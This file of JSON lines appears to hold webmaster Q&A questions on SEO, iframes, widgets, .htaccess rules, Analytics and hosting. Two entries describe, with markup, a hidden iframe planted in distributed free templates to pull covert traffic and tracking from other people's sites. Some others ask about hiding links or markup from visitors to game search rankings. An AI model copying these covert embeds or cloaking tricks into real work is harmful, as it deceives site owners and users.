{"id":"60509","title":"Older post not indexed, new post indexed right away?","text":"I have a post I created yesterday that was indexed rather quickly by Google. However, I have two other post that I created within the past 4 days that are not indexed and I cannot find a trace of them within the SERPs. Any idea what my cause this to happen?"}
{"id":"11858","title":"mod_rewrite: rewriting http:\/\/$SOMETHING.app.example.com\/ to http:\/\/www.example.com\/app\/$SOMETHING","text":"I'm trying to make `http:\/\/$SOMETHING.app.example.com\/` transparently rewrite to `http:\/\/www.example.com\/app\/$SOMETHING`. The config below is giving me a 404 and I'm not sure why. ServerName www.example.com ServerAlias *.app.example.com RewriteEngine On RewriteCond %{HTTP_HOST} (.*).app.example.com RewriteRule ^\/(.*) \/app\/%1\/$1 I'm missing something obvious, what is it? Edit: let me make this a little clearer. If I browse to `http:\/\/www.example.com\/app\/abc`, I get a page. If I browse to `http:\/\/abc.app.example.com\/` I expect to see the same page, but I'm getting a 404 instead. Edit2: The DNS record for `*.app.example.com` is already in place and I can see my request in the access log, with the 404 status. Edit3: After enabling the mod_rewrite log file, it appears that the post- rewrite path is \"$DOCROOT\/app\/abc\" which fails because it doesn't exist. This is a Python\/WSGI application, I think that has something to do with my problem. For the moment it looks like we'll just use a regular redirect instead."}
{"id":"18818","title":"Canonical'd pages on subdomain showing up in Google search results","text":"You might have heard that we launched Facebook Stack Overflow yesterday. As part of this, we modified our code to put `<meta rel=\"canonical\" ...` tags on every question and user on the facebook.stackoverflow.com domain that points to \"vanilla\" Stack Overflow. For example: iAd error \"Ad inventory unavailable\" on facebook.stackoverflow.com & iAd error \"Ad inventory unavailable\" on stackoverflow.com On facebook.stackoverflow the html contains the meta tag <link rel=\"canonical\" href=\"http:\/\/stackoverflow.com\/questions\/3720459\/iad-error-ad-inventory-unavailable\"> The intent there is to tell Google \"these are exactly the same page, impart all page rank to Stack Overflow's copy and prefer it in search results\". This seems like the point of rel=\"canonical\". > A canonical page is the preferred version of a set of pages with highly > similar content. > > It's common for a site to have several pages listing the same set of > products. For example, one page might display products sorted in > alphabetical order, while other pages display the same products listed by > price or by rating. For example: > > If Google knows that these pages have the same content, we may index only > one version for our search results. Our algorithms select the page we think > best answers the user's query. Now, however, users can specify a canonical > page to search engines by adding a element with the attribute > rel=\"canonical\" to the section of the non-canonical version of the page. > Adding this link and attribute lets site owners identify sets of identical > content and suggest to Google: **\"Of all these pages with identical content, > this page is the most useful. Please prioritize it in search results.\"** However, we're seeing Facebook Stack Overflow results and sometimes they even outrank vanilla Stack Overflow (an example). Maybe this is something to do with having an independent sitemap.xml for facebook.stackoverflow.com (sort of a shot in the dark)?  So, what are we doing wrong here? We're kind of hoping to keep searches of the form `site:facebook.stackoverflow.com` working, but giving those up is totally acceptable if a total `rel=\"noindex\"` is required."}
{"id":"33038","title":"Google Webmaster Tools - crawl errors","text":"I know that I can \"clear\" the crawl errors for Not Found pages, but I did completely remove the pages that I'm getting the errors for (no 301s, those pages do not exist anywhere anymore). Should I do anything about it, or will they be \"fixed\" automatically after some period of time?"}
{"id":"18813","title":"SiteAdvisor advice?","text":"At the time I submitted my site for testing with McAfee's Site Advisor as I noticed my site received a bad review as a spam\/scam site. See here . 1. From a development perspective, how important are things like this? I know from a user perspective, I stay away from the sites that have a bad rap in Site Advisor. 2. The bad review was not even related to my site content, but was given due to my registrar(think it's Enom). Now I have to question if anyone knows if it's normal for sites to be rated according to the registrar and not content? 3. This question is not so important but it interests me that after a year, my reply to my review has been ignored. I have to ask if it's even worth worrying anymore about this?"}
{"id":"18810","title":"SEO Question - allintitle with or without quotes","text":"I'm trying to learn more about implementing basic SEO strategies and have been spending a lot of time refining my keywords using Google Analytics combined with manually checking them using Google's allintitle operator. However, I'm unclear on whether I should be using quotes with my allintitles. Example: allintitle: seo tips and tricks for beginners 191 results allintitle: \"seo tips and tricks for beginners\" 70 results My thought is that it would be more accurate to use it without quotes because that way you get a more well rounded idea of all those you are competing with. So, my question is does Google give more weight to exact matches in the title tag or does that not really matter? If someone searched for: seo tips and tricks for beginners, would they be more likely to see the ones that have that exact phrase in their title tag or does that not have any impact?"}
{"id":"8903","title":"What are good options for hosting video that give you privacy and control (not youtube or vimeo)?","text":"I have used http:\/\/www.longtailvideo.com\/bits-on-the- run,http:\/\/www.influxis.com\/, wistia for video hosting. Wistia didn't allow the finer control that we wanted to have. Influxis doesn't have the features that Bits on the Run has but platform usage for BOTR gets expensive. I was thinking of moving the videos to Amazon CDN. What are your thoughts and experiences with video hosting and are there any recommendations? Videos will be privately streamed to 100's of doctors offices."}
{"id":"18814","title":"is it true that CloudFlare really doesn't affect dynamic content?","text":"I've been reading the CloudFlare FAQ, I understand that is acts as a reverse proxy and **all** requests to your domain will go through CloudFlare. They say in the FAQ that it won't slow down dynamic content, is this even possible? because all dynamic content requested will be requested from their server, than their server needs to request it from your server and than send it to the client. That's at least they I understand it. It seems to me like this would slow down dynamic content. So is it true? CloudFlare doesn't affect dynamic content?"}
{"id":"65282","title":"Implications of SEO for single page websites","text":"I built a server application that handles bot requests for my website, which was built using AngularJS. It works great, but I'm not entirely sure if it's valid in terms of Google's policy for SEO. In short, the server hits the API that powers the site and generates a static html, which it then serves to any bots that access the site. The static html file or 'snapshot' displays the same information as it's sibling page which is rendered on the browser, but I'd like to just display a slightly modified version for the bots to read. Is this considered a violation of Google's SEO policy? EDIT: I've already seen this : \"Single-page\" JS websites and SEO but the top answerer indicates that he is not sure of the implications that may occur if you adopt this model."}
{"id":"2267","title":"Do we still need to avoid using frame\/iframe for good SEO?","text":"I thought frame and iframe are something bad for SEO. Today I was doing some search and **searching for \"numismatica\" in Google.it** and the 3rd site is **www.lemonete.com** (ranks high also in Google.com). **It's all made with frames.** A competitor site (www.nummus.com) that is all done with no frames ranks much lower when searching for the same word: \"numismatica\" So can we use frame, don't they hit SEO ranking anymore? Any explanation (possibly simple) would be appreciated also about the fact the 2nd site ranks much lower. :) * * * UPDATE: thanks for all the replies , I noticed now I wrote down the wrong url, it was not lemonete.it (which is just a spam site) but lemonete.com."}
{"id":"58360","title":"SEO for Backlinks Using JavaScript on a Third-Party site","text":"We are currently implementing a widget that companies can put on their website. We give the publisher a script tag with the source pointing to a javascript file hosted on a CDN with the code they need to load our widget. However, we are not currently getting any backlinks from websites that have our widget on it. We understand that Google is having a hard time indexing the links because it is injected on the client side with JavaScript. We're looking for SEO friendly ways to get credit for our backlinks without injecting them server side. We've come across a few options, but there is little information on a clear answer: * Including an html anchor link in the snippet of code we ask publishers to put on their website. However, we wouldn't want the link to be visible to the users, so we'd need to hide it in a SEO friendly way. * Using a no script tag that includes identical information as the script tag (https:\/\/support.google.com\/webmasters\/answer\/66353?hl=en) will not work because the information inside the script tag is just pulling a file. Can we use a no script tag with different information (e.g. a link back to our site)? Are there any other possibilities? Will either of these options work?"}
{"id":"56957","title":"What's the best way to create a widget for blogs?","text":"I'd like to let bloggers to embed my widget, but there is a problem: If I create a JS widget, or an iframe, I will not get any benefits from SEO. So, there is a smart way to let easly embed a widget and leverage SEO? My widget should just retrieve my RSS FEED and shows thumbnail, title, and link to my website"}
{"id":"60340","title":"I have many backlink from other sites too one page of my site with hidden iframe. Has a positive or negative impact?","text":"am sorry for my bad english. i have a site for download free website templates. i create a simple html file in my site and put my histats & google analitic code on that. then put a hidden iframe to this page in the free templates like this :(To increase the number of visitors to my site) <IFRAME style=\"display:none;\" SRC=\"http:\/\/www.domain.com\/df\/sdff.html\" WIDTH=1 HEIGHT=1><\/IFRAME> now after two years i have about 60000 daily visitors just to this one page from many of sites who using my free templates. please answer me step by step 1- is this backling The negative or positive effect for my site ranking & seo ? 2- who to i can delet this page from my site No further negative impact to my site ? 3- who to i can reject this backlink from my server ? because if this page will be delet all of the back link redirect to 404 page & this page in my site is large & The server puts a lot of pressure. please help me. thanks"}
{"id":"33515","title":"Do iFrames hurt SEO - looking for clarification...","text":"> **Possible Duplicate:** > Do we still need to avoid using frame\/iframe for good SEO? I know this question if floating around the internet all over the place, and generally the answer is \"yes\" - but most of these posts are so outdated, and it is hard to get a realistic answer. So here's my question: It is generally considered that you should not use iFrames because google cannot read the content in the frame. But by the very nature of an iFrame you must link to the content being displayed, so wouldn't google just simply follow this link in your code to that page? Also if you are using navigation to change the page in an iframe, these nav buttons link to that page, why can't google follow that? And on top of that including a Sitemap, and footer links, should also provide adequate links to follow. I understand that using php includes is considered a better way to go, but I am not sure you could limit a large page to a small area (on a parent page) with a scroll bar like you can using a frame. Am I right? wrong? totally crazy? Any insight would be greatly appreciated."}
{"id":"13640","title":"web widget and SEO","text":"> **Possible Duplicate:** > How good is it for SEO if you have a widget that lives on other sites? I'm designing a voting widget that other people can put on their websites, and the widget will have links to my site (partly for functionality and partly for SEO). I'd like to design the widget such that my main website, gets the SEO benefits, and I'm not sure which techniques for designing a widget would accomplish that. Here is what I am thinking: * Creating a widget defined by `<div>` tags that people would embed in their web page -- This seems certain to give my site the SEO benefits, but it seems like it might be more work for the person using the widget to get it to work right and look nice. * Using an iframe -- I think that the iframe link would get the SEO benefit and not my website, which would be linked to from the contents of the iframe. * Google Gadget -- I don't know how this works yet. What would be the best way to design a web widget to maximize the SEO benefits for my website?"}
{"id":"12384","title":"How good is it for SEO if you have a widget that lives on other sites?","text":"I made a widget that would ideally live on other sites. Here is an example: http:\/\/www.comehike.com\/outdoors\/widget.php?type=hike&hike_id=108&width=500&height=500 I guess since the widget would link back to me, it would be an SEO boost for my site. Is that correct? Or would it be just an SEO boost for that particular URL? If it is just an SEO boost for the particular URL, it does me little good since that page does not link to any of my other pages. Am I thinking about this correctly? How are these things typically handled so that there is a benefit to my site's SEO?"}
{"id":"65474","title":"SEO guidelines to allow users to embed the page in their websites like youtube..etc","text":"In my web app, I want to allow user to embed the content in their websites (as in youtube, twitter, facebook...etc). I see two approaches for generating code: 1. using IFrame 2. load the content into a using jquery or other JavaScript But both are not SEO friendly. Is there any guidelines\/resources which should be followed for good SEO and performance in this case?"}
{"id":"53538","title":"Can your embeded code on other sites increase seo rank?","text":"I'm working on a video hosting website and I'm wondering how my embeded code would affect my seo rank youtube and almost all, major video hosting websites are useing iframe as their embedded code, some of them are using \"player\" sub domain so, I thought it will be a good practice using player subdomain as things may change in the future. <iframe width=\"420\" height=\"315\" src=\"\/\/player.mywebsite.com\/embed\/Bp222aodrVg\" frameborder=\"0\" allowfullscreen><\/iframe> In my case player.mywebsite.com is actually an CNAME(alias) for mywebsite.com. will player.mywebsite.com effect the rank of mywebsite.com?"}
{"id":"59389","title":"SEO linkbacks from iframe widget","text":"We're building a story player for kids. Here a user can embed any of our stories in his website\/ blog using our embeded widget tool. Essentially this is just an iframe that can be embedded anywhere. Now, some of our friends have posted about his and included this story in their blogs, bur I don't see any linkbacks. Does google crawl content inside iframes? Does the parent page get any SEO value from these widgets? I'm totally new to SEO. Can someone please help me with this?"}
{"id":"60331","title":"backlinks from hidden iframe to one page of my site.Has a positive or negative effect on my site seo?","text":"i have more than 60000 backlink too one page of my site because i put a hidden iframe in my free products. like this: <IFRAME style=\"display:none;\" SRC=\"http:\/\/www.domain.com\/df\/sdff.html\" WIDTH=1 HEIGHT=1><\/IFRAME> this backlinks Has positive or negative impact on my site ranking & seo ?"}
{"id":"59093","title":"Wamp local host defaults to IIS 7","text":"I have disabled IIS7 in my machine. installed WAMP server. Stopped skype, antivirus which used port 80. When i ran Wamp server, phpmyadmin is working great and when i click on localhost it is showing Default IIS7 page. Can anyone please help me out , how can i avoid this and get wamp localhost."}
{"id":"63","title":"Services to monitor and report if a web site goes down?","text":"Are there any services that will monitor a web site and report if it goes down, or experiences unreasonable response time? Which are reputable and recommended? How does the service notify you when your site is having problems?"}
{"id":"27754","title":"Desktop Software to monitor online status of web site and web-based application","text":"> **Possible Duplicate:** > Services to monitor and report if a web site goes down? I'm basically looking for a desktop-based software which can monitor my company's website and the web application's online availability. I know there are few online applications like Uptime Robot which does the same work but I have been asked to find a desktop based software which can monitor running in system tray and notify any down-time. A free software would be great. Any help would be appreciated. Thanks!"}
{"id":"44190","title":"Does Google Microdata have to be visible to the visitor to be displayed in Google search results?","text":"Does Google Microdata for rich snippets have to be visible to the visitor to be displayed in search results? I want to add the rich snippet to my page, but I don't want it in the format that is required. So I thought I could add it as a hidden div, but I'm not sure if that will work. <div style=\"visibility:hidden;height:0px;\" itemscope itemtype=\"http:\/\/schema.org\/LocalBusiness\"> <div itemprop=\"name\"><asp:Literal ID=\"ltTitle\" runat=\"server\" \/><\/div> <div itemprop=\"description\"><asp:Literal ID=\"ltMetadescription\" runat=\"server\" \/><\/div> <div itemprop=\"address\" itemscope itemtype=\"http:\/\/schema.org\/PostalAddress\"> <span itemprop=\"streetAddress\"><asp:Literal ID=\"ltAddress\" runat=\"server\" \/><\/span> <span itemprop=\"postalCode\"><asp:Literal ID=\"ltZipcode\" runat=\"server\" \/><\/span> <span itemprop=\"addressLocality\"><asp:Literal ID=\"ltCity\" runat=\"server\" \/><\/span> <span itemprop=\"addressRegion\"><asp:Literal ID=\"ltProvince\" runat=\"server\" \/><\/span> <span itemprop=\"addressCountry\"><asp:Literal ID=\"ltCountry\" runat=\"server\" \/><\/span> <\/div> <\/div> Thanks!"}
{"id":"44195","title":"Ajax mixed with Server Side results for SEO purposes","text":"Here is the issue. We are using a third party service to index our products and return results based on query parameters that we pass to the third party services server. I'm using Magento's framework. Here is how it works: I place a curl request to the third parties server with the various query parameters taken from both the request and pre-defined variables(filter,sort,etc) passed through a particular pages layout update. The response is turned into an array and a collection is queried from our database based on the SKU's that the third party supplied through the curl request and they are displayed in their own div. Secondly we get results from their service through their javascript api. At the callback of the results being returned I hide the divs that display the results that are generated server side. As a result , if javascript is disabled .. and more importantly , if you are a search spider coming to the site, you will still see results. My question is: Are there any problems with this model? Could we have any seo penalties as a result? Any other suggestions?"}
{"id":"7127","title":"Should meta descriptions be unique for each page?","text":"Specifically, I'm wondering about pages that have a purpose that is sort of removed from the main site. For example, a privacy policy page - would you duplicate the description of the main page or is it best left alone?"}
{"id":"37627","title":"Google Analytics and direct access","text":"Does Google analytics regards remote access resources as direct access? For example: Suppose: mysite.com and anothersite.com mysite.com has an image found at http:\/\/mysite.com\/img\/vip.jpg anothersite.com at some page of it like http:\/\/anothersite.com\/photos.html included vip.jpg in its source in image tag: <img src=\"http:\/\/mysite.com\/img\/vip.jpg\" \/> So does Analytics regard loading this image when a visitor vists http:\/\/anothersite.com\/photos.html to be a direct access for mysite.com?"}
{"id":"49901","title":"Traffic vs. click-through rate?","text":"In theory, shouldn't CTR and organic traffic be closely (if not almost exactly) correlated?"}
{"id":"37624","title":"I want to be a freelance web designer. What other up to date technologies\/skills would you add to this list?","text":"Technologies I need to know: HTML, HTML5, CSS, CSS3, jQuery, CSSLESS, ASP.NET, SQL, WordPress, PHP Skills needed: media querys\/responsive design, browser compatability, graphic design, user interface design, typography, accessability"}
{"id":"42740","title":"Amazon RDS And EC2 On Two Different Region. How Much performance Loss?","text":"if for an application, amazon ec2 instance and amazon RDS instance be on two different Avalability Zone\/Region, how much performance degradation are expected?"}
{"id":"47962","title":"What does GA returning visitors calculation mean?","text":"I'm a bit confused as to what 'returning visitors' mean in Google Analytics. If a user visited my site a year ago, and now returning, will he be considered a returning visitor? Is there any way to specify a time-frame, and calculate stuff like 'visitors that come at least twice a month'?"}
{"id":"68739","title":"CreativeCommons licence","text":"I want to use some pictures that are published unter the CC Attribution 2.0 Generic licence: https:\/\/creativecommons.org\/licenses\/by\/2.0\/ The licence says that I have to provide a link to this licence and that I must give appropriate credit. But where and how should I provide this things on my website? Do you have experience with this kind of \"problem\"?"}
{"id":"42742","title":"Why shouldn't I use Amazon S3 for hosting a static webpage","text":"I remember reading somewhere that there was a serious pitfall to using Amazon S3 for hosting a static website. I forgot what it was though. To me, S3 seems like a perfect option. Super fast, super scalable, and pay as you go. What are the negatives of using S3 to host a static website?"}
{"id":"1666","title":"Blocking all search engines except the big ones","text":"I would like to somehow be able to block all search engines except Google, Yahoo & Bing (and their related sites like Google Images) from crawling my site as they consume a lot of server and bandwidth but don't bring any traffic. Is this easily done or difficult? It would be good if someone maintained a list of small search engines that could be pasted into a robots.txt file to block them. Also, I realize I cannot block crawlers that ignore the robots.txt or sites from surreptitiously scraping and crawling, but that is not what I want. I just want to block all the Altavistas, Hotbots, Lycos (do these even still exist) and the university experiment crawlers from wasting my time."}
{"id":"49290","title":"Handling pagination, sorting and results per page with SEO-friendly URLs","text":"We have an e-shop which has pagination, sorting, and a 'results per page' limit option. What is the most SEO-friendly approach to structure my URL's? My first thought was: `http:\/\/www.example.com\/category\/filter\/page:1\/sort:price-asc\/limit:20` which is pretty ugly. And although I could force the robots to index the pages without sorting and limit options, my analytics won't be very clear. The other issue is that I used colons, which I read is not good to do. Is there a standard\/better structure? Is it true that colons are bad to use? Should I try a more traditional structure like: `http:\/\/www.example.com\/category\/filter?page=1&sort=price-asc&limit=20`"}
{"id":"68731","title":"Should I use 'robots.txt' or 'sitemap.xml' to get dynamically created files indexed in search engines?","text":"I've structure my video site like this: \/ (root) index.html -\/videos -\/video-id1 (dynamically generated subdirectory when user uploads a video) \/index.html (dynamically generated file when user uploads a video) The subdirectories and files in them are created dynamically each time a user uploads a video. I thought using a `sitemap.xml` would be a good choice to get those files indexed in search engines because using PHP I can edit the sitemap dynamically after each page is created. But this is quite hard to do (since it's an XML document). So I thought of using a `robots.txt` instead of a sitemap to get them indexed, but would that be helpful at all for this? In other words, I'm trying figure out how I can submit dynamically created subdirectories and files to search engines? Using Stack Exchange as another example, how do questions like this one get listed in search engines every time a user asks a questions? I think they use `sitemap.xml` for every question, as can be seen here."}
{"id":"1661","title":"Any recommendation for hosting provider for hosting Wordpress CMS website (not just a blog)?","text":"I want to host a Wordpress CMS based website. Any recommendations for a easy and reliable hosting provider. I have heard about lots of issues when hosting wordpress with my current host. This is based on Wordpress version 3.0. Thank you."}
{"id":"43601","title":"Custom short URLs","text":"I'm creating a WordPress site for a client and he mentioned that he would like his own custom URL shortening when sharing to Twitter. How do I go about setting up one of these? If I had to guess, I would guess that it's a separate domain that redirects to the actual site. If that's the case, then how do I get the URL to redirect to the specific post and not just to the homepage of the site?"}
{"id":"36223","title":"Are Meta tags useful for SEO?","text":"> **Possible Duplicate:** > Which meta tags are not worth the effort? Reading a Search Results with this or a similar phrased question can lead to reading a lot of conflicting answers. Are there any meta tags that matter in SEO? From what I have read I do know that meta keywords are no longer used (or so little it is not worth using them) and don't worry with using them. Meta Description tags are not used for page ranking but can effect click through rates so should be used but be less than 160 characters. I know the following meta tags exist: * author - the author's name and possibly email address * robots - to allow or disallow indexing by robots * copyright - the copyright date of the page How much do these meta tags matter and are there others that are new (including ones that may not be used by all but might be used in the future or are used by only one of the big players like Google or Bing) meta tags that should be included? Note: Even if a meta tag doesn't matter in SEO _but_ helps with click through rates similar to the descript tag does then feel free to include it with your answer."}
{"id":"67254","title":"How to align images left or right using semantically named classes?","text":"I want to align images in a text. Some pictures should be on the right side and some other on the left side. I can achieve this by adding `class=\"right\"` or `class=\"left\"` to the `img` element. But these classnames are presentational, not semantic. Any ideas how to align images using semantically named classes?"}
{"id":"67705","title":"Putting a website in a directory above the public_html,Can search engines find it?,Is this website crawled by search engines?,What is the solution?","text":"I have a Linux web host and I have added some other domains beside the main domains,as add-ons domains. I have created a directory beyond the main public_html directory, for each of them,and all of thier contents are in those directories,you can open the websites,by typing their URL in browser,but nearly more than two month after the creation of the websites; after searching their URL in Google,nothing is showed up in the search results,for example if you search the \"yahoo.com\" phrase in google,the number one result would be the http:\/\/yahoo.com result,but I assume the search engines could not crawl a website in a directory beyond the public_html,is this true? what is the solution? Please note that I am not talking about Google specifically,I am asking about all of the Bots on the web. and about the directory,I meant for example in the website1,website2,website3 directories. \/website1 \/website2 \/website3 \/mail \/logs \/includes \/public_html \/images \/admin \/users"}
{"id":"43736","title":"Any success with asp.net and Less\/Sass","text":"I wanted to dive into learning some asp.net with C# and I wanted to know if anyone has had **success** with using Less or Sass? All I can find search wise is little bits of info and some suggestions with a ton of issues. I'd really like to find something **solid** on a successful site that has implemented Sass or Less, documentation, or a site that has a list of full issues and suggestions. I have: * Google searched \"asp.net and Less * Google searched \"asp.net and Sass\" * \"asp.net successful sites with Sass\" * \"asp.net successful sites with Less\""}
{"id":"51733","title":"301 Redirects in a WordPress site: What will Google Analytics report?","text":"Scenario: user goes to Google and performs a search - one of my old pages shows in the results (a page I have just created a 301 quick redirect for using an app within WordPress) - they click on my result and are redirected to the new page. Question: will this user show-up in Google Analytics as a direct visitor? If not, how would they show as far as their traffic source?"}
{"id":"67700","title":"How do I prevent subdomain finders finding subdomains on my server?","text":"How do I prevent the following website and similar tools finding subdomains of domains in my server? https:\/\/pentest-tools.com\/reconnaissance\/find-subdomains-of-domain"}
{"id":"24275","title":"CNAME | A-Record | MX Record | Problems","text":"I have a domain (e.g. domain1.com) and I only want to CNAME re-point the A-Record to domain2.com CNAME re-pointing will affect both A-Record and MX-Record. I do not want to affect the MX record, but I need CNAME re-pointing because I want all the viewed website pages to be domain1.com sub-pages, (not domain2.com sub-pages). How can I do this?"}
{"id":"35998","title":"Is it possible to track an outsourced adwords campaign?","text":"We have a site that is paying a 3rd party to run adwords campaigns on our behalf. They do this using their own Adwords account and so we are unable to link it to our Google Analytics account. We do have our own Adwords account for the site which is linked but the majority of campaigns are being run by this 3rd party. At the moment, in our Adwords reports (ie the Adwords section within Google Analytics) we are seeing that for the majority of visits the campaign and keyword data is not set. I am assuming that this is because even though the visit is being recognised as coming from an Adwords account, because it is not the Adwords account linked to our Analytics account, we don't get sent the campaign and keyword information. Is this correct and if so is there a way that we can start tracking this information so that we can see for ourselves how the campaigns are performing?"}
{"id":"24279","title":"How can i use the HTTP_REFERER to come from a specified domain name","text":"I know the HTTP_REFERER method has a security loop, but it most cases it works fine. How can i use it, to limit how a user see other pages on my website, instead of just directly clicking on the link or pasting it on the browser. Specifically, i want the referer to only work if the referred url came from the same domain name? And not from another source."}
{"id":"67779","title":"Is it possible to get safe SSL certificates for free?","text":"I was looking at reseller hosting at host xxxxxx. They provide unlimited free SSL certificates which I can resell to my clients. This looks too good to be true. I sent them a mail if they're self-signed, but I haven't got a response yet (I sent the mail 15 minutes ago). So I am wondering: is it possible to get safe SSL certificates for free? I don't think so but it's worth checking. I have looked at Are there any usable free options for SSL certificates? by the way, but my situation is different I think... Thanks! **Edit** : maybe it's handy to know which SSL certificates I may resell..."}
{"id":"25765","title":"Analytics not showing Adsense data","text":"> **Possible Duplicate:** > Problem integrating Adsense with Google Analytics I already posted on the analytics help forum but nobody replied, so I thought I would ask here. Basically, I have an Adsense account that and use it to show adds on 2 websites, and an Analytics account for these two websites. Now I linked the account ages ago (when I only had one website in the analytics account), but now that I have added the second website no data shows for it. For the first website, I get the data normally, for the second website, I get the weird error saying I need to connect to my Adsense account first. Anyone know why this happens?"}
{"id":"28033","title":".htaccess - lose the file .html extension","text":"I'm having a bad .htaccess day! I want a user to be able to type the URL > mysite.com\/about instead of > mysite.com\/about.html On .htaccess file I have: RewriteEngine On RewriteCond %{SCRIPT_FILENAME} !-f RewriteCond %{SCRIPT_FILENAME} !-d RewriteRule ^\/(.*)$ \/$1.html [NC,L] But this simply does not work? I will add though that if i try this further inside the site e.g. mysite.com\/pages\/contact Works perfectly whether I have the above code in the .htaccess or not What am I doing wrong?"}
{"id":"28036","title":"Links shortener with advanced reporting?","text":"I am searching for a script (preferably in PHP) or an external solution which lets me create an \"URL shortener\" with advanced reports. We have been using Google Short Links for a while: it works really well, but it lacks reporting (it only displays a counter with the total number of redirects). Our setup is as follows: \"go.mydomain.com\" points to the web service, and we can create links such as \"go.mydomain.com\/product1\". What I'm looking for is a similar service (or self-hosted solution) but with advanced reports, so we can track redirects by day, month, etc, distinguish between mobile and desktop users (very important!) and so on."}
{"id":"3967","title":"If I have a breaking news and assume that i am the first person to know. How can I get top place in google search?","text":"If I have a breaking news and assume that i am the first person to know. How can I get top place in google search? Please assume that I do not have a domain yet. Please give me some tips. Thanks. Hope you'all will appreciate my question."}
{"id":"14754","title":"Registered a .PRO domain, can't change DNS for 120 days?","text":"I noticed the following in Gandi's terms and conditions for .PRO domains: > Once the domain has been registered, you cannot modify the contacts or DNS > for 120 days. What the heck? How am I supposed to point a .PRO domain at my host then?"}
{"id":"58419","title":"Page caching Is not working","text":"This is my htaccess file.I also embedded webcaching code inside it. DirectoryIndex index.php <IfModule mod_rewrite.c> RewriteEngine On #RewriteBase \/ RewriteCond %{HTTP_HOST} ^www.decodinghinduism.in RewriteRule (.*) http:\/\/decodinghinduism.in\/$1 [R=301,L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^.*$ index.php?qa-rewrite=$0&%{QUERY_STRING} [L] <\/IfModule> **`Webcaching code`** ## EXPIRES CACHING ## <IfModule mod_expires.c> ExpiresActive On ExpiresByType image\/jpg \"access 1 year\" ExpiresByType image\/jpeg \"access 1 year\" ExpiresByType image\/gif \"access 1 year\" ExpiresByType image\/png \"access 1 year\" ExpiresByType text\/css \"access 1 month\" ExpiresByType text\/html \"access 1 month\" ExpiresByType application\/pdf \"access 1 month\" ExpiresByType text\/x-javascript \"access 1 month\" ExpiresByType application\/x-shockwave-flash \"access 1 month\" ExpiresByType image\/x-icon \"access 1 year\" ExpiresDefault \"access 1 month\" <\/IfModule> ## EXPIRES CACHING ## <Files 403.shtml> order allow,deny allow from all <\/Files> deny from **.**. But Webcaching is not working ,Analytical result is here.Please help me."}
{"id":"14750","title":"Is there something wrong with my .htaccess or is there something wrong server-side?","text":"I'm using the following `.htaccess` file in one of my subdirectories on my server: Options +FollowSymlinks RewriteEngine on RewriteRule (.*)\\.png generate.php?userid=$1 My non-production environment handled the above just fine without a hitch. However, when implemented on my live production environment and accessed, the server load goes through the roof and no webpages are loaded until the process is killed (I don't actually know the process, the other administrator just does it for me.) So, is it my production environment that is set up incorrectly or is it that my code is sloppy\/incorrect?"}
{"id":"50085","title":"Does Google consider my blog page as duplicate page if that page URL and that page URL with ‘showcomment’ cached separately?","text":"While I’m searching all the index page of my blog I found that Google cached one of my blog page http:\/\/example.com\/page.html as well as http:\/\/example.com\/page.html?showComment=1372054729698 These two pages are showing while I searched site:http:\/\/example.com. I’m so afraid about it because these two pages are same with same content. Does google consider these two pages as duplicate? If so what can I do now? Is it really a big problem to my blog?"}
{"id":"34244","title":"Temporarily disable magento extensions from the back end","text":"Is it possible to disable a Magento extension from the backend without uninstalling it or disabling it via the code?"}
{"id":"32577","title":"Role of a domain registrar","text":"Few months back I bought a domain name and started using it through custom domain feature of Google Blogger. Since then my site was unavailable several times with different error forms: 1. A 'Not Found' text on the home page 2. No browser could not connect to the site Now since a week the site is totally inaccessible. It never loads. I tried using services like justping and Whydown. The former one reports 100% packet loss from all server locations while the latter reports a 503 error. I am unable to understand whether the problem is from the domain registrar's side or Blogger's side. Last time when I contacted domain registrar over 'Site not found' issue they affirmed that it would be Blogger's problem. I find it hard to believe that problem occurs from Google end. So this time before contacting Domain registrar's customer support I want to arm myself with technical details on what is causing the problem. If someone could guide me in debugging my issue it would greatly benefit me. For your information the website with the above problem - http:\/\/www.staygeo.com"}
{"id":"68996","title":"Adwords ad group quality score","text":"I've heard some Pay Per Click consultants claim that having poor performing keywords in an ad group effects the quality score of other keywords and Google uses a form of quality score for the entire ad group. Are quality scores for keywords independent of other keywords?"}
{"id":"63294","title":"Google SMTP relay sending limits","text":"I'm considering using Google Apps for email with my company domain and for sending emails to customers from my website using SMTP. On Google's website it says the following: > **Limits for registered Google Apps users** > > A registered Google Apps user cannot relay messages to more than 2,000 > recipients per day. > > **Limits per domain** > > Per-domain sending limits are determined by the number of users in your > Google Apps account. There are two per-domain limits: > > * **The maximum number of recipients allowed per domain per day is > approximately 130 times the number of users in your Google Apps account.** > * The maximum number of recipients allowed per domain in a 10 minute > window is approximately 9 times the number of users in your Google Apps > account. > > > Additionally, the maximum number of recipients allowed per domain per day > for accounts not yet paid for during the first month of service is 100. If I'm a single user, with a single domain, then does that mean I can only email 130 people a day using SMTP? That limit seems low."}
{"id":"68887","title":"Adsense account was disabled, whats the problem can you check it out?","text":"I have been maintaining adsense account from past 4 years, I got violation alert for audult content. I was saying that only disabled ads for **www.idleindia.com**. Still account account is in active. After i have removed all related content and sent my appel to google. Later I got below mail. > It is important for a site displaying AdSense to offer significant value to > the user by providing unique and relevant content, and not to place ads on > auto-generated pages or pages with little to no original content. > > Your site should also provide a good user experience through clear > navigation and organization. Users should be able to easily click through > your pages and find the information they are seeking. > > Please review Google's Webmaster Quality Guidelines ( > http:\/\/www.google.com\/support\/webmasters\/bin\/answer.py?answer=66361 ) for > more information. > > Google ads may not be placed on pages with adult or mature content. This > includes, but is not limited to, pages with images or videos containing: • > Strategically covered nudity • Sheer or see-through clothing • Lewd or > provocative poses • Close-ups of breasts, buttocks, or crotches In thi mail it is stating that no original content, In my site i will post all the content related to Telugu Movie medial, I am purchasing all the photos from tollywood photographer, and coming to the content, I have written by my own. Can Any expert please review my site and please let me know what are the modifications I need to do for my site to regain the ads."}
{"id":"68557","title":"Does resubmitting a modified site map affect current ranking?","text":"I have a old sitemap dated 2012 that I submitted in Google Webmaster Tools. I want to resubmit a modified sitemap, but I am worried that my current ranking might suffer. Does anyone have a way that I can resubmit and make sure my site's current rankings don't drop?"}
{"id":"35194","title":"lead capture apps","text":"I'd like to build a lead capture website, where a visitor is required to enter their name and email address in order to receive a free report for download. Do you know of an app which will let me store captured information in a database, and present the download link to them after registering? I guess this can all be accomplished using a contact form script with database integration and jquery confirmation message."}
